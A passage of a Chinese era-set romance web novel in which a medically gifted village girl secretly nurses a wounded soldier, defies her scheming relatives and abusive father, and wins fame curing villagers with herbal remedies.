姜芷回到自己那间逼仄的土坯房,点亮了昏黄的煤油灯。 身体是疲惫的,可她的精神依旧亢奋。 今天,她成功让王桂香母女当众吃瘪。 立下字据,与姜家划清了界限。 更是拿下了“大队医生”这个能换工分的身份。 她终于在这吃人的地方,靠着自己的本事,堂堂正正地站稳了第一步。 姜芷吐出一口浊气,从怀里掏出珍贵的纸笔。 借着豆大的火光,她开始默写药方。 那不是给别人,正是给后山那个男人准备的。 他的寒毒,凶险霸道,调理起来必须慎之又慎。 初期驱寒,中期培元,后期固本。 每个阶段的用药、剂量、针灸穴位,她都写得清清楚楚。 写完最后一个字,姜芷放下笔,心却怎么也静不下来。 那个男人。 他现在怎么样了? 山里夜寒,仓库更是阴冷,他的体质虚弱到了极点,今晚恐怕极不好过。 若是寒毒复发,她白天的努力就全白费了。 这个念头一起,姜芷再也坐不住了。 医生的本能,催促着她。 她又悄悄熬了点黄芪红枣粥,用干净的布巾层层包好,小心地揣进怀里,溜出了姜家大院。 …… 大队仓库里,一片死寂。 陆向东靠在冰冷的稻草堆上,牙关死死咬住,下颌线绷得像一块钢铁。 冷。 刺骨的冷。 那股被银针和艾灸强行压下去的阴寒,正随着深夜的寒意,卷土重来。 他额头的冷汗已经浸湿了鬓角,身上的作训服紧贴在皮肤上。 身为军人的骄傲,让他用尽全部意志力,死死压抑着喉咙里的闷哼。 就在他的意识都开始渐渐模糊时—— “吱呀——” 仓库破旧的木门,从外面被轻轻推开了一道缝。 一道清瘦的身影,逆着月光,走了进来。 是她。 陆向东骤然睁眼。 她怎么来了? 姜芷一眼就看出他情况不对,眉头拧紧。 她快步上前,根本不给他开口的机会,二话不说,手指已经搭上他的脉搏。 脉象沉迟,寒凝血滞。 果然复发了! “别说话。” “张嘴。” 姜芷解开怀里层层包裹的布巾,将那碗尚有余温的药粥端了出来。 米香和药材的清香,瞬间驱散了仓库里的霉味。 她用勺子舀起一勺粥,凑到唇边轻轻吹了吹,才递到他干裂的嘴边。 陆向东看着这张近在咫尺的脸,心中的防线,悄然裂开了一道缝。 他鬼使神差地,张开了嘴。 温热的粥滑入喉咙,一股暖流瞬间涌入胃里,暖洋洋的。 一碗热粥下肚,陆向东感觉自己冻僵的身体,都活了过来。 喂完粥,姜芷没有停歇。 再次点燃艾条,辛辣的艾草香气弥漫。 “衣服撩起来。” 她没有半分女儿家的羞怯。 在她的世界里,只有医生和病人。 陆向东迟疑了一瞬,还是依言照做。 姜芷熟练地在他腹部的关元、气海等几个大穴上进行温和灸。 跳动的火光,映着她的侧脸,也映在陆向东眼里。 身体里的暖意越来越强盛,将那些阴寒,慢慢逼退。 痛苦在消散。 陆向东的心思也活泛了起来。 他看着这个和传闻中截然不同的女孩,忍不住低声开口。 “今天……家里的事,都解决了吗?” 他虽躲在仓库,但也隐约听到村里的动静,知道她今天不好过。 姜芷手上动作不停,轻描淡写。 “解决了。” “几个跳梁小丑而已。” “我能应付。” 听到这话,陆向东的心,像被什么东西撞了一下。 艾灸结束,姜芷收好东西,起身准备离开。 “等等。” 陆向东叫住了她。 他从怀里,掏出了一样东西,递到姜芷面前。 是一块崭新的上海牌手表。 这个年代,绝对是能让无数人疯狂的重礼。 “这个,给你。” 陆向东声音沙哑。 “算是……诊金。我知道这不够,等我回……” 话未说完,就被打断了。 “我不要。” 姜芷只是淡淡地瞥了一眼那块手表,便移开视线。 “我救你,不是为了这个。” 她转过身,留给他一个清瘦的背影。 “我是一个医生。” “救死扶伤,是我的本分。” 说完,她拉开仓库的门,毫不留恋地走了出去。 陆向东举着手表,僵在原地。 她说,她是一个医生。 不是村姑,不是受气包,而是一个有着自己信念的医生! 陆向东低头,看着手里的手表,心情复杂。 他那个传闻中的“未婚妻”。 被描述为懦弱、愚笨、上不得台面的乡下丫头。 可现实呢? 她医术惊天,冷静果决,心性坚韧,有着一身连男人都汗颜的铮铮风骨。 传言误我啊! 第7章 名声初显,眼红的人来了 自从姜芷治好赵铁柱父亲后,她在红星大队的名声,算是彻底打响了。 短短几天,她家那破旧的院门,竟成了村里最热闹的地方。 “芷丫头,俺家娃子腮帮子肿得跟馒头似的,你快给瞅瞅!” “小神医,我这老腰啊,疼得直不起来了……” 姜芷每天上午,就在院子里支个小板凳“坐诊”。 她也不用什么金贵药材,后山随手采来的车前草、蒲公英,捣烂了外敷,不出三天,就让好几个得痄腮的孩子消了肿。 效果比卫生所的药片还好使,还快! 这下,“小神医”的名头,算是彻底坐实了。 村民们淳朴,虽说讲好看病记工分,但谁家得了好处,都不好意思空着手。 今天东家送来一把刚掐尖的韭菜,明天西家又提来两个热乎的鸡蛋。 治好痄腮那孩子的娘,更是揣着半斤珍贵的红糖,硬是塞进了赵秀娥的手里。 姜芷坦然收下。 她将这些东西精打细算,一部分留着给体虚的母亲和自己补养身体,另一部分则转手送给了村里更困难的孤寡老人。 这一手操作,让她在村里的人缘好到爆棚。 母女俩的伙食也彻底改善,桌上终于见了荤腥,赵秀娥的脸上,也渐渐有了血色。 夜深人静,万籁俱寂。 姜芷端着一碗用红糖鸡蛋精心熬煮的药膳,悄无声息地溜进了大队仓库。 陆向东的身体在她的调理下,已经好了大半,脸色不再是吓人的惨白,身上也长了些肉,显露出军人特有的结实轮廓。 昏暗的油灯下,两人挨得很近。 姜芷一勺一勺地喂着,他便一口一口地吃着。 她会低声讲些草药的趣闻,比如哪种草能吃,哪种草有毒。 他则会沉声说些部队里的故事,大漠的风沙,边境的雪。 空气中弥漫着药膳的甜香和一种说不清道不明的暧昧气息。 虽然谁都没有点破,但某种微妙的情愫,已在两人心底疯狂滋长,紧紧缠绕。 姜芷这边过得风生水起,有滋有味。 姜家老宅那边的气氛,却是一天比一天压抑。 姜老太蹲在自家院墙的豁口处,眼睁睁看着又一个村民提着东西,满脸感激地走进了姜芷的院子。 眼里嫉妒得快要滴出血来。 肠子都悔青了! 早知道这死丫头是个会下金蛋的母鸡,当初就不该答应她分出去单过! 现在可好,名声、好处、大把的工分,全让她一个人占了! 老宅这边,连根鸡毛都捞不着! 不行! 绝对不能就这么算了! 姜老太眼珠子轱辘转动,又开始琢磨起心思来。 这天,姜芷刚给一个崴了脚的大娘正骨复位。 一抬头,就看见大伯母李翠花,正拉着她那宝贝儿子姜宝根,贼眉鼠眼地站在门口。 姜宝根,大房的独苗,从小被惯得又懒又馋,长得白白胖胖,油头粉面。 姜芷一看这母子俩的架势,就知道是无事不登三宝殿。 “三侄女……” 李翠花脸上挤出一个笑容,拉着儿子就挤进了院子。 她那双精明的三角眼,不住地往姜芷屋檐下挂着的那些干草药上瞟。 “你快帮我们家宝根看看,他这阵子老说身上没劲,吃不下饭,肯定是身体亏空得厉害!” “宝根可是我们大房的根啊,身体可不能有半点差池。” 她嘴上说得好听,心里的小算盘却打得噼啪响。 她儿子什么德性她不清楚?就是想借着这个由头,让姜芷免费给开点“补药”,最好是那种金贵的,好好补补,还不用花一分钱。 姜芷眼神淡漠,让姜宝根坐下。 她连脉都懒得搭,只扫了一眼他那虚胖的体型,油光满面的脸,还有那厚腻发白的舌苔。 心里便已了然。 这哪里是体虚? 分明是痰湿内盛,食积不化! 说白了,就是吃饱了就躺,懒出来的富贵病! “他不是体弱。” 姜芷的声音清清冷冷。 “他是积食,加上懒出来的毛病。整天吃了睡睡了吃,铁打的身体也得锈住。” “想治好也简单。” 姜芷会心一笑。 “饿上三天,只喝水。然后每天跟着队里下地干活,出透一身臭汗,比吃什么灵丹妙药都管用。” 李翠花听了,脸上的笑容顿时就僵住了。 她没想到姜芷竟敢这么不给面子,当众就把她宝贝儿子的老底给掀了! 下一秒,她一屁股坐在地上,开始拍着大腿撒泼。 “哎哟我的天爷啊!没天理了啊!” “好你个姜芷!当了几天‘小神医’,翅膀硬了,连自家人都看不起了!” “我可怜的宝根啊!有病都没人给看,还要被自己的堂妹戳心窝子!我这是造了什么孽啊!” 她一边嚎,一边用余光偷瞄姜芷,想用这招逼她就范。 这哭嚎声,果然把在屋里“养神”的姜老太给引了出来。 姜老太拄着拐杖,黑着一张脸,由王桂香和姜巧巧一左一右地扶着,气势汹汹地走了过来。 “吵什么吵!像什么样子!” 她先是厉声呵斥一句,随即拐杖重重一顿,矛头直指姜芷。 “姜芷!宝根是你大堂哥,是你唯一的哥哥!他身体不舒服,你当妹妹的给看看怎么了?” 老太太理所当然的命令。 “你必须给宝根看病!开最好的药!你要是不给看,你就是六亲不认,不孝!要被全村人戳脊梁骨的!” 姜老太和大房一唱一和,以为用孝道和名声就能死死拿捏住姜芷。 谁知,姜芷听完,非但没有半分惧色,反而冷笑一声。 “好啊。” 她看着这一家子极品,缓缓开口。 “看病,可以。” “但是,药材费,诊金,一分都不能少。” “外面的乡亲们看病,我给队里记工分,那是情分。给你们看,就得按市价,付现钱。” “我立的字据上,写的是为‘红星大队社员’服务,可没写着,要给好吃懒做的自家懒汉白费药材!” 这话,瞬间让这几人炸毛! “你……你个黑了心肝的白眼狼!” 李翠花和姜老太气得浑身发抖,指着姜芷的手都在哆嗦。 “认钱不认亲!你眼里还有没有长辈!你会遭报应的!” 院子里,一时间骂声一片。 而姜芷,只是冷冷地看着她们,随她们怎么闹,懒得再搭理。 第8章 告你遗弃,谁怕谁! 就在院子里吵得不可开交时,一个身影出现在了大门口。 那是个中等身材的男人,面色蜡黄,眼窝深陷,身上的工装沾了尘土,浑身都散发着一股砖窑厂特有的烟火气和廉价旱烟的混合味道。 他就是姜芷的父亲,姜为民。 他一个月才回家一次,此刻背着破旧的帆布包,一脚踏进院门,看到的便是自家大嫂和老娘指着自己女儿破口大骂的闹剧。 姜为民的眉头瞬间拧成了一个疙瘩。 他这辈子最看重的就是脸面,最怕的就是家里这点破事被人当笑话看。 他不问缘由,张口便是居高临下的呵斥。 “姜芷!你又在发什么疯!” “还有没有点规矩了!怎么跟你奶奶和大伯母说话的!还不赶紧给你堂哥看病!” 姜芷会看病的消息,他在砖窑厂也听说了,心里很疑惑,可也没怎么当回事。 这是姜芷穿越过来,第一次亲眼见到这位所谓的父亲。 一个被生活磋磨掉所有棱角,又被懦弱刻进骨子里的男人。 在外面受了气,回到家,便下意识地想端起一家之主的架子,来维护那点可怜又可悲的自尊。 他只看到表面的争吵,便本能地将所有过错,都推到了这个家里地位最低的女儿身上。 姜芷看着这个男人, 没有愤怒,没有委屈。 只有一片为原主,为那个在厨房里默默忍受的母亲,而感到寒心。 面对姜为民的呵斥,姜芷非但没有退缩,反而迎着他的目光,上前一步。 “你还知道,你是我爹?” 姜芷嘴角嘲弄,字字诛心。 “你在砖窑厂,一个月工资三十五块五。” “你每个月往家里寄五块。” “这五块钱,又有几分几毛,是真正落到我和我娘手里的?” “现在,你一回来,就迫不及待地摆出一家之主的谱,做好人,充大方。” “让我免费给别人家的懒汉儿子看病?” “用我的本事,去照顾你那点可怜的面子?” “爹,你这张脸,未免也太大了些!” 姜芷这番话,不仅狠狠扎进了姜为民的心窝,更是当着所有人的面,撕开了他的遮羞布! 原本还在撒泼的李翠花瞬间噎住,眼神躲闪。 王桂香和姜巧巧母女俩则对视一眼,幸灾乐祸,等着看好戏。 姜为民气得浑身发抖,恼羞成怒! “你……你这个孽障!” 他扬手,朝着姜芷的脸,狠狠扇了过去! “我今天就打死你这个不孝女!” 劲风扑面而来! 就在巴掌即将落下的瞬间,一道瘦弱的身影,不知从哪来的勇气,猛地从旁边冲了出来! 她张开双臂,像一只护崽的母鸡,挡在了姜芷面前。 是赵秀娥! 她脸上挂着泪痕,却没有后退一步。 “别打孩子!别打她!” “为民!有话好好说,你别动手啊!” 这是她这么多年来,第一次,为了女儿,公然反抗这个畏惧了一辈子的男人。 姜芷看着赵秀娥忍不住颤抖的背影,心里涌过一丝暖流。 但她更知道,一味的退让和哭泣,永远解决不了问题。 姜芷伸手将赵秀娥拉到了自己身后,再次迎上姜为民暴怒的眼睛。 “想打我?” “你今天这巴掌要是敢落下来。” “我明天,就去公社,去县妇联。” “告你遗弃妻女!” “告你多年来,对我们母女不闻不问,任由我们被磋磨虐待!” “告状”! “妇联”! 这两个词,狠狠压着姜为民。 这个年代,名声比命还重! 尤其是在砖窑厂那种国营单位,一旦沾上“作风问题”、“家庭问题”的污点,轻则被人戳一辈子脊梁骨,重则连饭碗都保不住! 而姜芷,正拿他最致命的弱点,来威胁他! 旁边的姜老太,更是吓得倒吸一口凉气,拄着拐杖的手都握不稳了。 家丑不可外扬! 这要是闹到妇联去,他们老姜家的脸还要不要了! 王桂香和李翠花也变了脸色,她们没想到这死丫头敢这么豁得出去! 这要是真查起来,她们这些年干的那些事,也别想摘干净! 看着姜芷不像是开玩笑的眼神,姜为民心底忽然感到一阵恐慌。 扬在半空中的手,僵住了,手臂一直在颤抖。 最终,他还是悻悻地收了回去,嘴上依旧不肯认输。 “反了!真是反了天了!我怎么养出你这么个东西!” 这场剑拔弩张的闹剧,最终在姜为民的败退中,不欢而散。 李翠花见占不到便宜,拉着儿子灰溜溜地走了。 姜老太气得浑身发抖,用拐杖指着姜为民骂了半天“不孝子”,又指着姜芷骂“孽障”,最后也只能被姜巧巧扶着,回屋生闷气去了。 姜为民自觉在女儿面前丢尽了脸,又不敢真的动手,一张脸黑如锅底,最终“砰”的一声,摔门进了王桂香的屋子。 很快,那屋里就传来了王桂香和姜为民的争吵声。 整个姜家大院,都笼罩在一片压抑的气氛里。 姜芷拉着赵秀娥,回到了自己的小屋。 她关上门,将外面所有的纷扰,都隔绝在外。 姜芷倒了杯温水递给赵秀娥,看着她苍白的脸和依旧在微微颤抖的手,轻声安慰。 “娘,别怕。” 赵秀娥眼神无比复杂,看着女儿,生出一种强烈的陌生感。 “芷儿,你……你怎么敢那么跟你爹说话?他……” 姜芷没有回答,只是握住她的手,顺势将手指搭在了她的脉搏上。 脉象沉细,又带着紧绷的弦意。 是典型的肝郁气滞,心脾两虚。 常年的心情郁结,思虑过重,加上日积月累的营养不良,这副身体,早就被掏空了。 “娘,以后有我呢。” “你什么都不用怕。” 原主的记忆里,母亲曾经也是个爱说爱笑的明媚姑娘。 是这个吃人的家,是那个懦弱又自私的男人,将她一点点磋磨成了现在这个样子。 现在,她来了。 不仅要让自己活得风生水起。 更要让这位母亲,重新活出一个人样来! 这是她除了搞事业之外,给自己定下的,另一个无论如何都要实现的目标。 第9章 恶人合谋,准备“捉奸” 姜芷当众顶撞亲爹姜为民的事,像一阵风,一夜之间就刮遍了整个红星大队。 村里人议论纷纷,说什么的都有。 这些声音传到姜巧巧耳朵里,嫉妒到发狂。 凭什么? 那个任她打骂的受气包,凭什么现在能活得这么风光! 她眼睁睁看着姜芷母女俩的日子越过越红火,饭桌上甚至见了油腥。 自从分家后,姜为民对她们母女俩就鼻子不是鼻子,眼睛不是眼睛。 凭什么她们要受气,姜芷那个贱人却能当上“小神医”,受尽追捧! 心里的恨意,烧得她整夜整夜睡不着觉。 不行! 必须抓住姜芷的把柄! 要把那个贱人从云端狠狠拽下来,踩进烂泥里! 从那天起,姜巧巧就像个幽灵,日夜监视着姜芷的一举一动。 白天,姜芷看病、采药,一切正常。 但姜巧巧还是嗅到了一丝不寻常的味道。 每隔一两天,到了深夜,姜芷就会悄悄溜出家门。 姜巧巧的心,一下子提到了嗓子眼。 一股病态的兴奋,让她浑身都开始发抖。 深更半夜,一个黄花大闺女,鬼鬼祟祟地出门,能干什么好事? 偷汉子! 这个贱人,一定是在外面偷汉子! 这天夜里,她再次看到姜芷鬼祟的身影,就壮着胆子,远远地跟了上去。 月光下,她亲眼看着姜芷熟门熟路地穿过村子,最后,闪身进了大队部后面那个早就废弃的旧仓库。 她等了足足半个小时,都不见姜芷从里面出来。 旧仓库! 深更半夜! 孤男寡女! 抓到了! 她终于抓到了姜芷的把柄! 姜巧巧激动得差点叫出声来,连忙用手死死捂住自己的嘴。 只要把这事捅出去,来个人赃并获,姜芷的名声就彻底烂了! 还当什么“小神医”? 不被抓去游街浸猪笼,就算她命大! 姜巧巧强压着心里的激动,转身跌跌撞撞地跑回了家。 她把这个“惊天发现”一五一十地告诉了王桂香。 “真的?你没看错?” “千真万确!娘!我亲眼看见的!” 母女俩一拍即合,立刻摸黑去找了姜老太。 姜老太正愁没法子拿捏姜芷,一听这事,手里的拐杖在地上重重一顿,发出闷响! “好个不要脸的贱皮子!” “敢做下这种败坏门风的丑事!看我不打断她的腿!” 昏暗的油灯下,三个女人凑在一起,脸上映着狰狞的影子,嘀嘀咕咕地商量出一条毒计。 她们要来个人赃并获,要让姜芷当着全村人的面,身败名裂! …… 此刻的仓库里,昏黄的月光透过破旧的窗棂洒进来,落下一地斑驳。 姜芷将一碗还冒着热气的药膳递给陆向东。 “你的身体底子比我预想的要好,恢复得很快。” “但要根治,还差几味主药,都长在后山那片最高的悬崖上。” “采摘有危险,我需要做些准备。” 陆向东接过碗,温热的触感从指尖传来,暖意流遍全身。 他现在已经能自如行动,甚至能感觉到力气也一天比一天大。 “等我再恢复两天,我陪你一起去。” 绝不能让她一个人去冒这种险。 两人难得地聊起了天。 当听到姜芷轻描淡写地说起如何硬刚她那个懦弱的爹,甚至用“去公社告状”来威胁他时,陆向东眼里满是赞许和心疼。 “你做得对。” 他说。 “对付有些人,退让,只会让他们得寸进尺。” 姜芷看着他认真的样子,心里也划过一丝暖流。 这是第一个,无条件支持她,并认为她做得对的人。 然而,他们都没有意识到,一场巨大的风暴,正在仓库外面酝酿。 姜家老宅,一支由姜家男丁和几个族老组成的“捉奸队”,已经集结完毕。 姜为民黑着一张脸走在最前面,他觉得自己的脸面,今晚就要被这个不孝女丢尽了! 王桂香和姜巧巧紧紧跟在人群后面,脸上是压抑不住的得意和快意。 姜芷,你完了! 等你身败名裂,陆家的好亲事,终究还是我的! 一行人举着火把和手电筒,浩浩荡荡地朝着大队仓库摸去。 仓库里。 陆向东的耳朵突然动了动。 作为一名顶尖的侦察兵,他的听觉远超常人。 外面传来一阵杂乱的脚步声,由远及近,目标很明确。 “有人来了。” 他脸色一沉,高大的身躯下意识地站了起来,将姜芷护在身后。 姜芷也察觉到了不对劲。 紧接着! 一个尖利刺耳的嗓音,打破深夜的宁静。 “开门!姜芷!” 是王桂香! “你个不要脸的贱人!在里面干什么见不得人的好事!赶紧给我滚出来!” 叫骂声,脚步声,火把晃动的光亮透过门缝和窗棂,瞬间将这个小小的仓库,完全包围! 仓库外,火光冲天,人影绰绰。 姜家人将这破旧的仓库围得密不透风。 陆向东的脸色,瞬间沉了下去。 没想到,自己竟会给这个女孩带来如此不堪入目的麻烦。 他看着身旁依旧镇定的女孩,心被狠狠刺了一下。 “别怕。” “一切有我。” 姜芷抬眸看了他一眼,点了点头。 她当然不怕。 只是觉得恶心。 为了毁掉她的名声,这群所谓的亲人,真是无所不用其极。 “还不开门?是想在里面当一辈子缩头乌龟吗!” “给我踹!” 门外,传来姜老太气急败坏的嘶吼。 姜为民涨红了脸,为了挽回自己作为父亲的尊严,他表现得最为积极。 他退后两步,卯足了劲,猛地一脚,狠狠踹在破旧的门板上! “砰——!” 一声巨响,门板应声而碎。 一群人举着火把和手电筒,迫不及待地冲了进来。 他们要欣赏姜芷衣衫不整的丑态,要看她惊慌失措的狼狈。 王桂香和姜巧巧更是冲在最前面。 当火光彻底照亮仓库里的情景时。 所有人的表情,都在这一瞬间,凝固了。 预想中不堪入目的画面,没有。 所谓的“奸夫淫妇”的慌乱,更没有。 仓库里,只有两个人。 姜芷,衣着整齐,发丝都未曾凌乱半分,神情冷漠地站在那里,满眼嘲弄。 她的身前,站着一个穿着军装的男人。 面容俊朗,眉眼锐利,即便身处这破败的仓库,也掩盖不住他身上那股迫人的气势。 姜为民在看到那身军装的瞬间,心里就“咯噔”一下。 常年在县城砖窑厂混的他,比谁都清楚,这身衣服代表着什么。 穿这身衣服的人,是他惹不起的存在。 他前进的脚步,下意识地就停住了,甚至想往后缩。 可王桂香和姜巧巧被嫉妒和愤怒冲昏了头脑,根本没注意到那身军装代表的意义。 她们只看到姜芷真的和一个男人深更半夜待在一起! 这就是铁证! 王桂香伸出手指,几乎要戳到姜芷的脸上,破口大骂。 “好啊你!姜芷!你个不要脸的小贱人!” “还真敢在外面勾搭野男人!胆子不小啊,连当兵的都敢勾引!” “人赃并获!看我们今天不打断你的腿!把你浸了猪笼!” 这时,陆向东动了。 他上前一步,高大的身躯,将姜芷完全护在身后。 凌厉的眼神,扫过在场的每一个人。 被他看到的人,都下意识地打了个寒颤。 “把你的嘴巴,放干净点!”他冷冷开口,“我叫,陆向东。姜芷,是我的未婚妻!” 这句话一出,整个仓库都安静了下来。 王桂香还在叫骂的嘴,就那么大张着,瞠目结舌。 而打击最大的,是姜巧巧。 陆向东? 这个名字,是她午夜梦回,念了千百遍的名字。 这个穿着军装,英俊挺拔的男人,不就是她费尽心机,做梦都想嫁的那个年轻军官吗? 他怎么会在这里?! “不……不是的……” 姜巧巧失魂落魄,她的世界,在这一刻,彻底崩塌了。 自己精心策划的一场“捉奸”,竟然捉到了自己梦寐以求的金龟婿。 第10章 日子越过越红火 闹剧收场,姜家人屁滚尿流逃离仓库。 破旧仓库空荡荡,只剩火把燃烧后的呛人烟气和一地狼藉。 陆向东高大身影僵硬。 他转身,看着姜芷,喉结滚动。 “对不起。”声音低沉沙哑,他懊恼:“我给你带来了麻烦。” “如果我早点表明身份……” 姜芷抬手,制止他。 她歪头打量他,眼神探究戏谑。 “你就是档案里的娃娃亲未婚夫?” “陆向东同志,你马甲藏得够深。” 姜芷调侃,陆向东紧绷神经松懈。 他无奈看她,这姑娘的心,到底什么做的? 寻常女孩遇到这阵仗,早吓哭了。她倒有心思开玩笑。 “情况特殊,组织有纪律。”他认真解释。 姜芷摆手:“我懂。” “至于那门亲事……”她顿了顿,迎上陆向东目光,坦然:“我没当回事,你也别往心里去。咱们新社会,不兴包办婚姻。” “眼下最要紧的,是你的身体。” “先把寒毒根治,再说别的。” 她干脆利落,甚至有些冷酷的态度,让陆向东心里一堵。 他看着凡事拎得清的女孩,觉得自己好像被嫌弃了。 陆向东不是轻易放弃的人。 “好。”他应下。 来日方长。 ... 姜芷母女拥有独立经济权,日子一天比一天有盼头。 她将“捉奸”闹剧里姜家人的丑陋嘴脸当成反面教材,彻底打消了母亲赵秀娥对老宅的幻想。 “娘,人善被人欺,马善被人骑。” “咱们想过好日子,就得自己立起来。” 姜芷说着,将几株刚采回来的草药递给赵秀娥。 “这是益母草,活血调经,对女人好。” “这是蒲公英,清热解毒,夏天泡水能败火。” 赵秀娥一辈子在锅台农活里打转,哪里认得这些。 她看着女儿指间的“野草”,眼神充满新奇和胆怯。 “芷儿,我……我学不会的……” “学得会。”姜芷语气坚定。 “我教你。以后咱们开药田,种药材,这些都是基本功。你得学,必须学会。” 姜芷半强制性鼓励,赵秀娥开始磕磕巴巴背诵草药名字和功效。 从车前草,到柴胡、白术。 她记性不好,常弄混。 姜芷不恼,一遍遍耐心教。 这天下午,姜芷将一副配好的药放在小炉子上。 “娘,这药给你调理身体,文火慢熬一个小时,你去看着火。” 赵秀娥下意识想把炉子挪到小屋角落,怕药味被王桂香闻到,又招来骂。 姜芷按住她的手。 “就在院子里熬。” “光明正大。” “这是咱们自己的药,咱们自己的院子,谁也管不着!” 女儿坚定的眼神,给了赵秀娥无穷勇气。 她犹豫片刻,挺直佝偻半辈子的腰杆。 她走到院子中央,老槐树下,生火,瓦罐稳稳放上炉子。 药材苦涩味道,很快随白烟,飘散整个姜家大院。 堂屋里,王桂香探头看一眼,嫉妒得牙根痒痒。 她想到陆向东冷硬的脸和军装,什么屁都不敢放,狠狠啐一口,缩了回去。 赵秀娥坐在小马扎上,小心拉着风箱,看着瓦罐里翻滚的药汤。 阳光透过槐树叶缝隙洒在她身上。 她忽然觉得,这药味也没那么苦了。 这日子,真的有盼头了。 姜芷名声越来越响,找她看病的人,从本村扩散到邻村。 这天上午,一个面色黝黑、两鬓斑白的男人,在队长赵大山陪同下,走进姜家院子。 “姜芷丫头,这是咱们公社的陈支书。”赵大山介绍。 陈老根,红星公社一把手,响当当的人物。 此刻他剧烈咳嗽,弯着腰,脸涨成猪肝色。 “咳咳……咳咳咳……” 咳嗽声又深又浊,像破旧风箱拼命拉扯,听着难受。 “陈支书,您坐。” 姜芷搬来板凳,倒了杯温水。 陈老根摆手,喘匀气,苦笑着开口:“丫头,我这老毛病……咳咳……有年头了。” “县医院、市医院都跑遍了,片子也拍了,说是老慢支,药吃了一箩筐,也不见好……咳咳……赵队长说你本事大,我就……厚着脸皮来试试。” 他说着,又一阵猛咳。 姜芷不废话,让他伸出手。 她手指搭在陈老根脉搏上,眼睛微阖。 片刻后,她睁眼,眼神清亮。 “陈支书,您这病,根子不在肺上。” “您年轻时,是不是冬天里下过冰水,受过大寒?” 陈老根猛地一愣,浑浊眼睛透出震惊! “你……你怎么知道?!” “二十年前,为抢修水库大坝,我在冰窟窿里泡了三天三夜……从那以后,就落下了这咳嗽毛病,一年比一年重。” 这事,是他的光荣历史,也是病根来源。 除了老一辈,很少有人知道。这小丫头搭搭脉,一语道破。 旁边赵大山目瞪口呆,对姜芷本事又敬畏几分。 “您是当年寒湿入体,伤了阳气,一直郁结在内,不得宣发。”姜芷继续说。 “后来常年抽旱烟,烟毒灼伤肺络,寒湿和烟毒,一内一外,相互勾结,才成了如今咳了半辈子的顽疾。” “县医院的药,治标不治本,自然没用。” 一番话,说得陈老根心服口服,连连点头。 神了! 比大医院专家教授说得还透彻! “那……丫头,我这病,还有得治吗?”他紧张问,眼里是希冀。 “能治。”姜芷点头。“但您得答应我一件事。” “什么事?你说!” “从今天起,烟,必须戒了。”姜芷表情严肃,“一口都不能再抽。否则,我开的药再好,也是白费。” 戒烟? 陈老根脸瞬间垮了,比让他少吃一顿饭还难受。 “这……这烟跟了我几十年了,不好戒啊……” “命重要,还是烟重要?”姜芷反问,语气不容商量,“您自己选。” 陈老根被噎得说不出话,最后咬牙,跺脚。 “行!我戒!从今天起,谁要再看见我陈老根抽一口烟,谁就来抽我的大嘴巴子!” 姜芷满意点头。 她转身进屋,很快写好一个方子。 麻黄、细辛、干姜、五味子。 都是温阳散寒、化饮止咳常用药。 “按这个方子,先抓三副。” “一天一副,喝完再来找我。” 赵大山亲自陪陈支书去公社卫生院抓药。 所有人将信将疑,看着陈支书把那碗黑乎乎的药汤喝下。 奇迹发生了。 仅仅三天。 只喝了三副药。 陈老根咳了半辈子的老毛病,真的好了大半! 偶尔还会咳两声,但跟之前那种要把心肝肺都咳出来的架势比,天壤之别! 红星公社彻底炸锅! 连公社支书的顽固老毛病都能治好,“小神医”名头,算是彻底在十里八乡焊死了。 姜家院子,成了远近闻名的“乡村卫生所”。 凡是身上有点小病小痛的,都往这边跑。 姜芷用看病换来的工分和乡亲们硬塞的各种票据,托人从县里换回了崭新的棉布,雪白的大米,还有一小罐金贵到晃眼的猪油。 赵秀娥看着女儿变戏法似的从布包里掏出这些东西,眼睛当场就湿润了。 她有多久没穿过没补丁的衣服了? 又有多久,没见过这样精细的白米了? 姜芷把那块崭新的天蓝色布料,直接塞进了母亲布满老茧的怀里。 “娘,给你做件新衣裳。” “这……这太费钱了……”赵秀娥小心翼翼地摩挲着布料,嘴上推辞,眼睛却像是被黏住了一样,怎么也舍不得挪开。 “钱是王八蛋,花了还能赚。”姜芷眉眼弯弯,把她按在小板凳上,“咱们的日子,只会越过越好。” 有了细粮和油水的滋润,赵秀娥蜡黄的脸上终于泛起了健康的红晕,干活都有劲了,偶尔还会哼起年轻时的小调。 这天上午,姜芷正在院子里晾晒新采的草药,院门口探进来两个脑袋。 来人是二伯母周兰,她身旁还跟着一个面色憔悴、眼圈发青的年轻女人,正是她嫁到镇上工厂的女儿,姜玉梅。 周兰跟大伯母李翠花那种蠢笨的嚣张不一样,她是个精明人,一张脸笑成了菊花,手里还提着一包镇上供销社才有的鸡蛋糕。 “芷丫头,忙着呢?” 周兰一进院子,就自来熟地把鸡蛋糕塞到赵秀娥手里,嘴上跟抹了蜜似的。 “三弟妹,你可真有福气,养了这么个有本事的好闺女!你看看你,现在这气色,比我们这些天天吃饱饭的还好呢!” 她拉着姜玉梅,一脸愁苦地凑到姜芷面前。 “芷儿啊,你快帮你堂姐瞅瞅!她……她这嫁过去都两年了,肚子一点动静都没有,在婆家天天被戳脊梁骨,日子都快过不下去了!” “你现在是神医,本事大得很,你可得帮帮你姐啊!” 姜芷看着这个姿态放得极低的二伯母,心里跟明镜似的。 无事不登三宝殿。 她没多废话,搬来凳子让姜玉梅坐下,伸手搭上了她的脉搏。 姜玉梅紧张得手心直冒汗,大气都不敢喘。 第11章 可疑的男人 姜玉梅的眼睛瞬间就红了,小鸡啄米似的疯狂点头。 “对!对!就是这样!芷儿你怎么知道的?” “你这是宫寒,子宫里又冷又湿,跟个冰窖似的,种子怎么能发芽?” 姜芷说得直白,却一针见血。 她转身进屋,刷刷写下一个方子,又抓了几包早就炮制好的药材递过去。 “按这个方子喝药,一日三次。另外,我再教你个食疗的方子,用当归生姜炖羊肉,每周吃两次,驱寒补血。” 姜芷看着堂姐期盼的眼神,给了她一颗定心丸。 “你这不是大毛病,放宽心。忌食生冷,坚持调理,半年之内,保准你有好消息。” “哎哟!我的好侄女!”周兰激动得一把抓住姜芷的手,“真是太谢谢你了!等玉梅怀上了,二伯母给你包个大红包!” 母女俩千恩万谢地走了,那感激的劲儿,就差给姜芷磕一个了。 这一幕,完完整整地落在了东屋窗户后面王桂香的眼里。 她嫉妒得眼珠子都红了,狠狠地往地上啐了一口。 “呸!什么东西!” “现在可真是了不得了,成了咱们老姜家的财神爷了!谁都上赶着来拜!” “也不知道孝敬孝敬长辈,光知道便宜外人,养不熟的白眼狼!” 她阴阳怪气地骂着,院子里的人都能听见。 姜芷听见了,连眼皮都懒得抬一下。 跟这种蠢货计较,只会拉低自己的智商。 …… 